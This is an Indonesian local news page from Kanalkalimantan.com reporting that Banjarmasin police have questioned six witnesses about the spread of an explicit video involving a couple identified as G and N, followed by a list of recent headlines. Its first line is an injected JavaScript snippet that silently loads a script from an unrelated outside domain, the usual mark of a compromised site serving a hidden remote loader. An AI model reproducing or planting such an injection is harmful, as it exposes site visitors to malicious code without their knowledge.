(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Video Mesum Banjarmasin Polisi Periksa 6 Saksi, Siapa Penyebar Belum Juga Ada Tersangka


BANJARMASIN, Sepekan setelah beredar luasnya video mesum yang melibatkan dua sejoli berinisial G dan N, hingga kini kepolisian masih mendalami siapa yang menyebarkan video mesum itu. Hanya saja hingga sepekan berlalu, sepertinya polisi kesulitan mengungkap siapa dalang penyebar pertama video privacy itu.

“Untuk sementara ini masih memeriksa saksi-saksi saat ini, yang terkait dengan pelaku penyebaran. Pemeriksaan sendiri masih berjalan, dan intinya yang diduga menjadi pemeran di video itu sudah kita ambil keterangannya,” ucap Kasatreskrim Polresta Banjarmasin AKP Ade Papa Rihi kepada Kanalkalimantan.com, Sabtu (7/9) malam.

Menurut AKP Ade, sampai saat ini keduanya mengakui kalau yang berada di video tersebut adalah yaitu G dan N. Namun demikian, masih harus ada pembuktian melalui uji laboratorium forensik. Sejauh ini, sudah ada 6 saksi yang dimintai keterangan oleh kepolisian. “Saat ini kami fokus ke pembuat dan penyebar (video mesumnya). Nanti kita lihat apakah ada kemungkinan unsur kesengajaan dalam penyebarannya, bisa juga kedua pelaku (pemeran video) ini. Tapi kalau memang tidak, siapa (yang menyebarkan), ini yang kita dalami,” tambah AKP Ade.

Meski kasus penyebaran video mesum ini sudah sepekan, AKP Ade membantah kalau kepolisian lamban dalam menangani kasus ini. “Namanya proses butuh waktu. Tergantung dari tingkat kesulitan, ketersediaan saksi, dan alat bukti. Apalagi ini kan proses pemeriksaan kaitannya dengan ITE, tentunya kita harus ada pemeriksaan secara laboratorisnya dan ahlinya,” kata AKP Ade.

AKP Ade menjelaskan, hingga saat ini, kepolisian masih menggunakan UU ITE dalam menangangi kasus beredarnya video mesum ini. “Unsur pornografi, bisa. Ada kemungkinan, tapi kita lihat hasil pemeriksaannya. Kalau disampaikan sekarang terlalu dini,” tutup AKP Ade. (fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

43 menit ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

15 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

15 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

16 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

16 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

16 jam ago

This website uses cookies.